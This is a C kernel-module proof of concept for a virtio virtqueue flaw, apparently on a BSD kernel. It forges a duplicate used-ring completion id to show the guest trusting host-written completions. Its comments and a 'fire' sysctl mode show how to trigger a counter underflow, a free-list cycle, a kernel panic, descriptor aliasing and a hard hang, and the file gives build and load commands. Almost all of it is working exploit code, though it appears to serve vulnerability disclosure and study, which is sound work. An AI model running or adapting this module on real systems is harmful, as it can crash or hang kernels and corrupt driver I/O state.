DF-4623 / df4623.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 | /* * DF-4623 โ virtqueue used-ring ownership validation PoC * * Demonstrates, against the *live in-kernel* virtqueue engine * (sys/dev/virtual/virtio/virtio/virtqueue.c), that the guest blindly * trusts used-ring completion ids written by the host: * * 1. A completion for a descriptor chain that is NOT in flight * (duplicate id โ perfectly "valid" bounds-wise) drives * vq_ring_free_chain() into: * - dxp->ndescs-- underflow (0 -> 65535, uint16_t) [:786-787] * - re-linking the freed chain onto the free-list head * creating a CYCLE in desc[].next [:803-804] * - VQASSERT(ndescs == 0) โ LIVE panic on INVARIANTS * kernels ("failed to free entire desc chain"), * a silent no-op on production kernels. [:796] * 2. On production kernels the cycle makes every subsequent * virtqueue_enqueue() hand out descriptors that are already * in flight (aliasing) and overwrite vq_descx[head].cookie โ * completions get mis-attributed to the wrong driver object * (vtblk: wrong bio finished / request object recycled while * still referenced; vtnet: mbuf leak / stack re-injection). * 3. With F_NEXT forged on the cycle tail (trivial host DMA * write), vq_ring_free_chain() never terminates -> kernel * spins forever holding the driver serializer -> hard hang. * * The module forges used-ring entries exactly the way the host does * (the used ring is guest RAM the host writes via DMA). It drives a * private virtqueue allocated through the kernel's own * virtqueue_alloc() on the real vtblk0 child device, so the feature * negotiation path is real; queue index 63 is never registered with * the host, so nothing else can touch this ring. * * Modes: * hw.df4623.fire=0 (default) SAFE: normal op sanity + printed * projection of the duplicate-id math. * hw.df4623.fire=1 FIRE: forge a duplicate completion and * call the real virtqueue_dequeue(). * INVARIANTS kernels (e.g. X86_64_GENERIC) * panic inside vq_ring_free_chain(). * * build: make && kldload ./df4623.ko * run: sysctl hw.df4623.fire=1 ; kldload ./df4623.ko */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/serialize.h> #include <sys/bus.h> #include <sys/rman.h> #include <sys/sglist.h> #include <sys/sysctl.h> #include <vm/vm.h> #include <vm/pmap.h> #include "virtqueue.h" #include "virtio_ring.h" /* * Exact replica of the file-private `struct virtqueue' from * virtqueue.c:54-91 (plus its private constants) so we can inspect * live ring state. The real object is allocated by the kernel's * virtqueue_alloc(); we only cast for introspection. */ #define VQ_REP_DESC_CHAIN_END 32768 #define VQ_REP_F_INDIRECT 0x0001 #define VQ_REP_F_EVENT_IDX 0x0002 struct vq_rep_descx { void *cookie; struct vring_desc *indirect; vm_paddr_t indirect_paddr; uint16_t ndescs; }; struct vq_rep { device_t vq_dev; char vq_name[32]; uint16_t vq_queue_index; uint16_t vq_nentries; uint32_t vq_flags; int vq_alignment; int vq_ring_size; void *vq_ring_mem; int vq_max_indirect_size; int vq_indirect_mem_size; struct vring vq_ring; uint16_t vq_free_cnt; uint16_t vq_queued_cnt; uint16_t vq_desc_head_idx; uint16_t vq_used_cons_idx; struct vq_rep_descx vq_descx[0]; }; static int df_fire = 0; TUNABLE_INT("hw.df4623.fire", &df_fire); SYSCTL_INT(_hw, OID_AUTO, df4623_fire, CTLFLAG_RW, &df_fire, 0, "forge duplicate used-ring completion on next kldload"); #define stage(...) kprintf("[df4623] " __VA_ARGS__) static void df4623_project(struct vq_rep *m, uint16_t head) { struct vring *vr = &m->vq_ring; uint16_t ndescs, idx, tail, steps; int hops = 0; /* What the SECOND (duplicate) free of chain `head' will do. */ ndescs = m->vq_descx[head].ndescs; /* 0 after the legit free */ stage("PROJECTION of duplicate used id=%u (production kernel):\n", head); stage(" free_chain: vq_free_cnt += %u (ndescs of stale head)\n", ndescs); ndescs--; /* :787 โ 0 -> 65535 */ idx = head; while (vr->desc[idx].flags & VRING_DESC_F_NEXT) { idx = vr->desc[idx].next; /* :792 */ ndescs--; /* :793 */ hops++; } tail = idx; stage(" dxp->ndescs underflows to %u after %d NEXT hops " "(VQASSERT(==0) at :796 is a NO-OP without INVARIANTS)\n", ndescs, hops); stage(" then desc[%u].next = vq_desc_head_idx(%u) -> CYCLE, " "head=%u while chain is idle\n", idx, m->vq_desc_head_idx, head); /* Aliasing: two enqueues both start at `head'. */ stage(" next virtqueue_enqueue() walks head=%u .. and terminates at " "desc[%u].next == %u (the cycle) => head NEVER advances\n", head, idx, head); stage(" => every new request is handed desc %u..%u again, " "vq_descx[%u].cookie overwritten while previous request " "is IN FLIGHT (completion mis-attribution)\n", head, idx, head); /* Livelock: post-dup the tail relinks onto the head (cycle); with * F_NEXT forged on the tail the free_chain walk never ends. Simulate * the post-dup next[] values (tail->head) without leaving 0..tail. */ steps = 0; idx = head; while (steps < 4 * m->vq_nentries) { if (idx == tail) idx = head; /* the forged cycle edge */ else idx = vr->desc[idx].next; steps++; } stage(" with F_NEXT forged on desc[%u], a vq_ring_free_chain(%u) " "walks >%u/%u entries without terminating => permanent kernel " "spin with the driver serializer held (hard hang)\n", tail, head, steps, m->vq_nentries); } static int df4623_run(void) { devclass_t dc; device_t dev; struct virtqueue *vq = NULL; struct vq_alloc_info info; struct vq_rep *m; struct vring *vr; struct sglist *sg; void *dma, *ck, *ckA; uint16_t head; int error; dc = devclass_find("vtblk"); /* driver_t name, virtio_blk.c:219 */ if (dc == NULL) { stage("no virtio_blk devclass (virtio absent)\n"); return (ENODEV); } dev = devclass_get_device(dc, 0); if (dev == NULL) { stage("no virtio_blk device\n"); return (ENODEV); } VQ_ALLOC_INFO_INIT(&info, 0, &vq, "df4623-probe"); error = virtqueue_alloc(dev, 63, 64, 4096, 0xFFFFFFFFUL, &info, &vq); if (error != 0 || vq == NULL) { stage("virtqueue_alloc failed: %d\n", error); return (ENXIO); } m = (struct vq_rep *)vq; vr = &m->vq_ring; stage("private vq '%s' allocated: nentries=%u free=%u head=%u " "(dev=%s index 63 never registered with host)\n", m->vq_name, m->vq_nentries, m->vq_free_cnt, m->vq_desc_head_idx, device_get_nameunit(dev)); dma = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT); sg = sglist_alloc(8, M_INTWAIT); /* Non-adjacent chunks: sglist_append_phys() coalesces physically * contiguous ranges into one segment, and virtqueue_enqueue() * requires sg_nseg == readable + writable. */ sglist_append_phys(sg, vtophys((char *)dma), 512); sglist_append_phys(sg, vtophys((char *)dma + 1024), 512); sglist_append_phys(sg, vtophys((char *)dma + 2048), 512); /* ---- normal operation sanity (ring engine healthy) ---- */ ckA = (void *)0xaaaa0001UL; head = m->vq_desc_head_idx; if (virtqueue_enqueue(vq, ckA, sg, 3, 0) != 0) { stage("enqueue A failed\n"); goto out; } stage("enqueue A: head=%u free=%u queued=%u\n", head, m->vq_free_cnt, m->vq_queued_cnt); /* Host completes A: this write is exactly what the host DMAs. */ vr->used->ring[vr->used->idx & 63].id = head; vr->used->ring[vr->used->idx & 63].len = 1536; vr->used->idx++; ck = virtqueue_dequeue(vq, NULL); stage("legit completion: dequeue -> cookie %p (want %p) free=%u " "head=%u used_cons=%u\n", ck, ckA, m->vq_free_cnt, m->vq_desc_head_idx, m->vq_used_cons_idx); if (ck != ckA) { stage("UNEXPECTED: normal path broken, aborting\n"); goto out; } if (!df_fire) { df4623_project(m, head); stage("SAFE MODE done (set hw.df4623.fire=1, kldunload, " "kldload again to fire the duplicate)\n"); goto out; } /* ---- malicious host: DUPLICATE completion of the same id ---- */ stage("FIRE: forging DUPLICATE used id=%u and calling the real " "virtqueue_dequeue()...\n", head); vr->used->ring[vr->used->idx & 63].id = head; vr->used->ring[vr->used->idx & 63].len = 1536; vr->used->idx++; ck = virtqueue_dequeue(vq, NULL); /* * INVARIANTS kernels panic inside vq_ring_free_chain() * ("failed to free entire desc chain") before returning. * Production kernels return here with corrupted state: */ stage("dup dequeue RETURNED %p (cookie slot was cleared => NULL), " "free=%u nentries=%u head=%u\n", ck, m->vq_free_cnt, m->vq_nentries, m->vq_desc_head_idx); (void)virtqueue_enqueue(vq, (void *)0xbbbb0002UL, sg, 3, 0); (void)virtqueue_enqueue(vq, (void *)0xcccc0003UL, sg, 3, 0); stage("two more enqueues both start at desc %u: " "vq_descx[%u].cookie now %p, request B's cookie LOST โ " "driver completions mis-attributed\n", head, head, m->vq_descx[head].cookie); out: sglist_free(sg); kfree(dma, M_DEVBUF); virtqueue_free(vq); stage("vq freed; module idle\n"); return (0); } static int df4623EventHandler(module_t mod, int what, void *arg) { switch (what) { case MOD_LOAD: stage("loaded (fire=%d)\n", df_fire); return (df4623_run()); case MOD_UNLOAD: stage("unloaded\n"); return (0); default: return (EOPNOTSUPP); } } static moduledata_t df4623_mod = { "df4623", df4623EventHandler, NULL }; DECLARE_MODULE(df4623, df4623_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(df4623, 1); |